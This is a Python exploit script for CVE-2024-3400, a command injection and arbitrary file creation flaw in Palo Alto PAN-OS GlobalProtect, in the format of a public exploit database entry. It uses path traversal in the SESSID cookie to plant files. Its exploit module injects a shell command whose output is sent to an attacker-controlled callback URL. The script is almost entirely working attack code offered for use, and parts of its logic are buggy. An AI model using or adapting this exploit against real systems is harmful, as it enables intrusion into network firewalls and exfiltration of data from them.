# Exploit Title: Palo Alto PAN-OS  < v11.1.2-h3  - Command Injection and Arbitrary File Creation
# Date: 21 Apr 2024
# Exploit Author: Kr0ff
# Vendor Homepage: https://security.paloaltonetworks.com/CVE-2024-3400
# Software Link: -
# Version: PAN-OS 11.1 < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3 
#          PAN-OS 11.0 < 11.0.0-h3, < 11.0.1-h4, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1
#          PAN-OS 10.2 < 10.2.0-h3, < 10.2.1-h2, < 10.2.2-h5, < 10.2.3-h13, < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1
# Tested on: Debian
# CVE : CVE-2024-3400

#!/usr/bin/env python3

import sys

try:
    import argparse
    import requests
except ImportError:
    print("Missing dependencies, either requests or argparse not installed")
    sys.exit(2)

# https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis 
# https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/

def check_vuln(target: str, file: str) -> bool:
    ret = False
    
    uri = "/ssl-vpn/hipreport.esp"
    
    s = requests.Session()
    r = ""
    
    headers = {
                "User-Agent" : \
                        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", # Windows 10 Chrome 118.0.0.0
                "Content-Type": "application/x-www-form-urlencoded",
                "Cookie": \
                        f"SESSID=../../../var/appweb/sslvpndocs/global-protect/portal/images/{file}"
    } 
    
    headers_noCookie = {
                "User-Agent" : \
                        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" # Windows 10 Chrome 118.0.0.0
    }
    
    if not "http://" or not "https://" in target:
        target = "http://" + target   
        try:
            r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )
        except requests.exceptions.Timeout or requests.ConnectionError as e:
            print(f"Request timed out for \"HTTP\" !{e}")

        print("Trying with \"HTTPS\"...")

        target = "https://" + target
        try:
            r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )
        except requests.exceptions.Timeout or requests.ConnectionError as e:
            print(f"Request timed out for \"HTTPS\"")
            sys.exit(1)
    else:
        r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )

    if r.status_code == 200:
        r = s.get( (target + f"/global-protect/portal/images/{file}"), verify=False, headers=headers_noCookie, timeout=10 )
        if r.status_code == 403:
            print("Target vulnerable to CVE-2024-3400")
            ret = True
    else:
        return ret

    return ret
    
    

def cmdexec(target: str, callback_url: str, payload: str) -> bool:
    ret = False
    p = ""

    if " " in payload:
        p = payload.replace(" ", "${IFS)")

    uri = "/ssl-vpn/hipreport.esp"

    headers = {
                "User-Agent" : \
                        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", # Windows 10 Chrome 118.0.0.0
                "Content-Type": "application/x-www-form-urlencoded",
                "Cookie": \
                        f"SESSID=../../../../opt/panlogs/tmp/device_telemetry/minute/attack782`{callback_url}?r=$({payload})`"

            } 

    s = requests.Session()
    r = ""
    
    if not "http://" or not "https://" in target:
        target = "http://" + target   
        try:
            r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )
        except requests.exceptions.Timeout or requests.ConnectionError as e:
            print(f"Request timed out for \"HTTP\" !{e}")

        print("Trying with \"HTTPS\"...")

        target = "https://" + target
        try:
            r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )
        except requests.exceptions.Timeout or requests.ConnectionError as e:
            print(f"Request timed out for \"HTTPS\"")
            sys.exit(1)
    else:
        r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )

    if not "Success" in r.text:
        return ret

    else:
        ret = True

    return ret

#Initilize parser for arguments
def argparser(selection=None):
    parser = argparse.ArgumentParser( description='CVE-2024-3400 - Palo Alto OS Command Injection' )
    
    subparser = parser.add_subparsers( help="Available modules", dest="module")
    
    exploit_subp = subparser.add_parser( "exploit", help="Exploit module of script")
    exploit_subp.add_argument( "-t", "--target",help="Target to send payload to", required=True )
    exploit_subp.add_argument( "-p", "--payload", help="Payload to send (e.g: whoami)", required=True )
    exploit_subp.add_argument( "-c", "--callbackurl", help="The callback url such as burp collaborator or similar", required=True )
    #---------------------------------------
    check_subp = subparser.add_parser( "check", help="Vulnerability check module of script" )
    check_subp.add_argument( "-t", "--target", help="Target to check if vulnerable", required=True )
    check_subp.add_argument( "-f", "--filename", help="Filename of the payload (e.g \"exploitCheck.exp\"", required=True )

    args = parser.parse_args(selection)
    args = parser.parse_args(args=None if sys.argv[1:] else ["-h"])
    
    if args.module == "exploit":    
        cmdexec(args.target, args.callbackurl, args.payload)

    if args.module == "check":
        check_vuln(args.target, args.filename)

if __name__ == "__main__":
    argparser()
    print("Finished !")